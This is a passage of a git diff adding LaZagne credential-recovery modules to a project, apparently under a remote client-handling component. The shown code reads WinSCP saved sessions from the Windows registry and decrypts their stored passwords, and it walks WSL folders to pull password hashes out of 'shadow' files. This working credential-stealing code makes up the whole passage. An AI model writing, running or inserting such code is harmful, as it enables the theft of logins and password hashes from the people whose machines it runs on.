+ return result
+
+ def check_winscp_installed(self):
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security')
+ return key
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ def check_masterPassword(self, key):
+ is_master_pwd_used = winreg.QueryValueEx(key, 'UseMasterPassword')[0]
+ winreg.CloseKey(key)
+ if str(is_master_pwd_used) == '0':
+ return False
+ else:
+ return True
+
+ def get_credentials(self):
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Sessions')
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ pwd_found = []
+ num_profiles = winreg.QueryInfoKey(key)[0]
+ for n in range(num_profiles):
+ name_skey = winreg.EnumKey(key, n)
+ skey = OpenKey(key, name_skey)
+ num = winreg.QueryInfoKey(skey)[1]
+
+ values = {}
+ elements = {'HostName': 'URL', 'UserName': 'Login', 'PortNumber': 'Port', 'Password': 'Password'}
+ for nn in range(num):
+ k = winreg.EnumValue(skey, nn)
+
+ for e in elements:
+ if k[0] == e:
+ if e == 'Password':
+ try:
+ values['Password'] = self.decrypt_password(
+ username=values.get('Login', ''),
+ hostname=values.get('URL', ''),
+ _hash=k[1]
+ )
+ except Exception as e:
+ self.debug(str(e))
+ else:
+ values[elements[k[0]]] = str(k[1])
+
+ if num != 0:
+ if 'Port' not in values:
+ values['Port'] = '22'
+
+ pwd_found.append(values)
+
+ winreg.CloseKey(skey)
+ winreg.CloseKey(key)
+
+ return pwd_found
+
+ def decrypt_password(self, username, hostname, _hash):
+ self.hash = _hash
+ hex_flag = 0xFF
+
+ flag = self.decrypt_char()
+ if flag == hex_flag:
+ self.decrypt_char()
+ length = self.decrypt_char()
+ else:
+ length = flag
+
+ ldel = (self.decrypt_char()) * 2
+ self.hash = self.hash[ldel: len(self.hash)]
+
+ result = ''
+ for ss in range(length):
+
+ try:
+ result += chr(int(self.decrypt_char()))
+ except Exception as e:
+ self.debug(str(e))
+
+ if flag == hex_flag:
+ key = username + hostname
+ result = result[len(key): len(result)]
+
+ return result
+
+ def run(self):
+ winscp_key = self.check_winscp_installed()
+ if winscp_key:
+ if not self.check_masterPassword(winscp_key):
+ results = self.get_credentials()
+ if results:
+ return results
+ else:
+ self.warning(u'A master password is used. Passwords cannot been retrieved')
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/wsl.py b/foreign/client_handling/lazagne/softwares/sysadmin/wsl.py
new file mode 100644
index 0000000..b4e63e0
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/wsl.py
@@ -0,0 +1,44 @@
+# -*- coding: utf-8 -*-
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class Wsl(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'wsl', 'sysadmin')
+
+ def run(self):
+ pwd_found = []
+ shadow_files_list = []
+
+ # Old WSL PATH
+ old_path = os.path.join(constant.profile['LOCALAPPDATA'], u'lxss\\rootfs\\etc\\shadow')
+
+ if os.path.exists(old_path):
+ shadow_files_list.append(old_path)
+
+ # New WSL PATH need to look into Package folder
+ new_path = os.path.join(constant.profile['LOCALAPPDATA'], u'Packages\\')
+ if os.path.exists(new_path):
+ for root, dirs, files in os.walk(new_path):
+ for file in files:
+ if file == "shadow":
+ shadow_files_list.append(os.path.join(root, file))
+
+ # Extract the hashes
+ for shadow in shadow_files_list:
+ with open(shadow, 'r') as shadow_file:
+ for line in shadow_file.readlines():
+ user_hash = line.replace('\n', '')
+ line = user_hash.split(':')
+
+ # Check if a password is defined
+ if not line[1] in ['x', '*', '!']:
+ pwd_found.append({
+ 'Hash': ':'.join(user_hash.split(':')[1:]),
+ 'Login': user_hash.split(':')[0].replace('\n', '')
+ })
+ return pwd_found